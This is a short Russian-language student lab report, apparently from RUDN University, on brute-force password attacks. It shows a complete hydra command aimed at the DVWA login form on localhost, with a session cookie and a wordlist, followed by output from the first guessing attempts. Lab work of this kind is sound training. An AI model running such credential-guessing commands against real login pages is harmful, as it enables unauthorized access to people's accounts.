

# Индивидуальный проект - этап 3

---

Алькамаль Ибрахим Мохсейн Мохаммед Али<sup>1</sup>

19 марта, 2025, Москва, Россия

<sup>1</sup>Российский Университет Дружбы Народов

# Цели и задачи работы

---

## Цель лабораторной работы

Целью данной работы является изучение атак типа брут-форс и инструмента hydra.

# **Процесс выполнения лабораторной работы**

---

Атака брут-форс (англ. brute force attack) — это метод взлома, основанный на последовательном переборе возможных комбинаций значений (паролей, ключей шифрования и т. д.), чтобы подобрать правильное значение и получить несанкционированный доступ.

Атаки брут-форс являются одним из самых простых, но эффективных способов взлома учетных записей, если системы не защищены должным образом.

Сильные пароли, ограничения на количество попыток входа и двухфакторная аутентификация могут значительно уменьшить вероятность успешной атаки.



Рис. 1: Страница веб-формы

## Команда для запуска hydra

```
hydra -l admin -P /usr/share/dirb/wordlists/small.txt \  
localhost http-get-form "/DVWA/vulnerabilities/brute/" \  
:username=^USER^&password=^PASS^&Login=Login: \  
H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; \  
security=medium:F=Username and/or password incorrect." \  
-V
```



# Результат подбора

```
(user@Ebrahim)-[~]  
$ hydra -l admin -P /usr/share/dirb/wordlists/small.txt localhost http-get-  
form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login-Logi  
n:H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; security=medium:F=Username  
and/or password incorrect." -V  
  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in  
military or secret service organizations, or for illegal purposes (this is n  
on-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-04 11:  
13:41  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 959 login tries (l:1/p:95  
9), ~60 tries per task  
[DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:use  
rname=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=f2q94tbasiksr9q3  
1mlg9d4qum; security=medium:F=Username and/or password incorrect.  
[ATTEMPT] target localhost - login "admin" - pass "0" - 1 of 959 [child 0] (0  
/0)  
[ATTEMPT] target localhost - login "admin" - pass "00" - 2 of 959 [child 1] (0  
/0)  
[ATTEMPT] target localhost - login "admin" - pass "01" - 3 of 959 [child 2] (0  
/0)
```

Рис. 2: Результат подбора

## **Выводы по проделанной работе**

---

Мы приобрели знания об атаках брут-форс и инструменте hydra.